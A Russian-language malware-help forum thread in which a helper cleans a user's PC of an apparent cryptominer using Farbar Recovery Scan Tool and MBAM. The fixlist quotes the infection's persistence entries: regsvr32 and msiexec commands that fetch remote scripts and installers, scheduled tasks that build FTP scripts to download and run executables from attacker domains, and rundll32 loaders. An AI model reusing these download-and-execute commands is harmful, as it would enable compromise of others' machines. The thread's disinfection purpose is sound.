Подозрительные тормоза

[vanya1990]

Переодически комп как-то подозрительно начинает тормозить, как при недостатке оперативной памяти. Вкладки в лисе начинают падать, проводник подтормаживать. Хотя при этом свободно порядка 10+ гиг RAM, и в диспечере ничего такого не видно. Подозреваю Bitcoin майнер или нечто подобное, ничего не видно такого по логам?

[Info_bot]

Уважаемый(ая) vanya1990, спасибо за обращение на наш форум!

Помощь при заражении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

[thyrex]

Обновления для системы все установлены, включая патч против WannaCry?

[vanya1990]

Обновления для системы все установлены, включая патч против WannaCry?

Да, патч для ваннакрай от SMB уязвимости тоже установлен, вручную.

[thyrex]

Скачайте Farbar Recovery Scan Tool и сохраните на Рабочем столе.

• Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.

1. Запустите программу двойным щелчком. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
2. Убедитесь, что в окне Optional Scan отмечены List BCD, Driver MD5 и 90 Days Files.

3. Нажмите кнопку Scan.
4. После окончания сканирования будет создан отчет (FRST.txt) в той же папке, откуда была запущена программа.
5. Если программа была запущена в первый раз, также будет создан отчет (Addition.txt).
6. Отчеты, полученные в пп. 4 и 5, заархивируйте (в один архив) и прикрепите к сообщению.

[vanya1990]

Да, пожалуйста, вот отчёты.

[thyrex]

1. Откройте Блокнот и скопируйте в него приведенный ниже текст

CreateRestorePoint:
HKLM\...\Run: [start] => regsvr32 /u /s /i:hxxp://js.mykings.top:280/v.sct scrobj.dll <==== ATTENTION
HKLM\...\Run: [start1] => msiexec.exe /i hxxp://js.mykings.top:280/helloworld.msi /q <==== ATTENTION
IFEO\ageofconan.exe: [Debugger] "C:\Program Files (x86)\Age of Conan Quick Start\aoclaunch.exe"
IFEO\ageofconandx10.exe: [Debugger] "C:\Program Files (x86)\Age of Conan Quick Start\aoclaunch.exe"
CHR HKU\S-1-5-21-1314904569-1787587424-2820689198-500\SOFTWARE\Policies\Google: Restriction <==== ATTENTION
HKU\S-1-5-21-1314904569-1787587424-2820689198-500\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://sindex.biz/?company=5
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> backup.gopher", "83.69.224.215"
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> backup.gopher_port", 3128
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> ftp", "83.69.224.215"
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> ftp_port", 3128
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> gopher", "83.69.224.215"
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> gopher_port", 3128
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> http", "83.69.224.215"
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> http_port", 3128
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> no_proxies_on", "localhost, 127.0.0.1, youtube.com"
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> socks", "83.69.224.215"
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> socks_port", 3128
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> ssl", "83.69.224.215"
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> ssl_port", 3128
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> type", 0
CHR HKLM-x32\...\Chrome\Extension: [dljdacfojgikogldjffnkdcielnklkce] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [odijcgafkhpobjlnfdgiacpdenpmbgme] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [phkdcinmmljblpnkohlipaiodlonpinf] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [pmpoaahleccaibbhfjfimigepmfmmbbk] - hxxps://clients2.google.com/service/update2/crx
ContextMenuHandlers01: [WinRAR32] -> {B41DB860-8EE4-11D2-9906-E49FADC173CA} =>  -> No File
ContextMenuHandlers02: [VMDiskMenuHandler] -> {271DC252-6FE1-4D59-9053-E4CF50AB99DE} =>  -> No File
ContextMenuHandlers06: [WinRAR32] -> {B41DB860-8EE4-11D2-9906-E49FADC173CA} =>  -> No File
Task: {5C84E59C-2523-4FBA-B860-93A818EB7831} - System32\Tasks\ok => Rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa
Task: {8BE14CA7-B4B8-4769-A9F4-46D59CEC4E9C} - System32\Tasks\Mysa2 => cmd /c echo open ftp.oo000oo.me>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p <==== ATTENTION
Task: {A289777A-6A47-4A5E-941B-25375707A59B} - System32\Tasks\{1C2F1EDF-523E-497C-BF86-EB618C52AF50} => pcalua.exe -a "C:\Program Files (x86)\レミリア地獄変　\Install.exe" -d "C:\Program Files (x86)\レミリア地獄変　"
c:\windows\debug\ok.dat
c:\windows\debug\item.dat
Task: {B46DB4B2-7509-4A2B-9718-6150534EC9B3} - System32\Tasks\Mysa => cmd /c echo open down.mysking.info>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe>>s&echo bye>>s&ftp -s:s&a.exe <==== ATTENTION
Task: {CEFA5CF9-6B2E-4D01-BB62-89EDF81D220C} - System32\Tasks\Mysa1 => Rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa <==== ATTENTION
Task: {D0555A27-11D5-49A0-8E78-B1A1F91E861A} - System32\Tasks\YTDownloader => C:\Program Files (x86)\YTDownloader\YTDownloader.exe <==== ATTENTION
WMI_ActiveScriptEventConsumer_fuckyoumm2_consumer: <==== ATTENTION
AlternateDataStreams: C:\ProgramData\sdpsenv.dat:naughtypirates [80]
AlternateDataStreams: C:\ProgramData\TEMP:41ADDB8A [131]
AlternateDataStreams: C:\ProgramData\TEMP:5F21A21D [133]
AlternateDataStreams: C:\ProgramData\TEMP:A064CECC [144]
Reboot:

2. Нажмите Файл – Сохранить как
3. Выберите папку, откуда была запущена утилита Farbar Recovery Scan Tool
4. Укажите Тип файла – Все файлы (*.*)
5. Введите имя файла fixlist.txt и нажмите кнопку Сохранить
6. Запустите FRST, нажмите один раз на кнопку Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении.

• Обратите внимание, что будет выполнена перезагрузка компьютера.

[vanya1990]

Вот лог, пожалуйста.
У меня, правда, после этой операции куда-то мой купленный на ruproxy, проксик делся. Пришлось его заново забить в настройки браузера.

[thyrex]

Что с проблемой?

[vanya1990]

Да вроде бы пол лучше стало, только вкладки довольно часто падают в лисе. Вот просто открываешь 3-4 вкладки с ютуба и бац, вкладка упала. Заново перезагружай страницы. =(

А что вообще, в целом, мои опасения не подтвердились? По поводу майнера, нет его по логам в системе?

UPDATE 13.07.2017
Есть майнер таки, я его сам вычилил. Файл lsmo.exe (https://www.virustotal.com/ru/file/9...is/1499898205/) находящийся в папке C:\Windows\Help\lsmo.exe
Теперь подскажите как его правильно и полностью вычистить из системы?

[vanya1990]

Ап чтоли...

[thyrex]

Сделайте лог полного сканирования МВАМ

[vanya1990]

Вот лог. Судя по всему всё в порядке теперь?

[thyrex]

Ничего плохого в логе.

Удалите МВАМ.

[vanya1990]

Спасибо за помощь! Тему можно закрывать.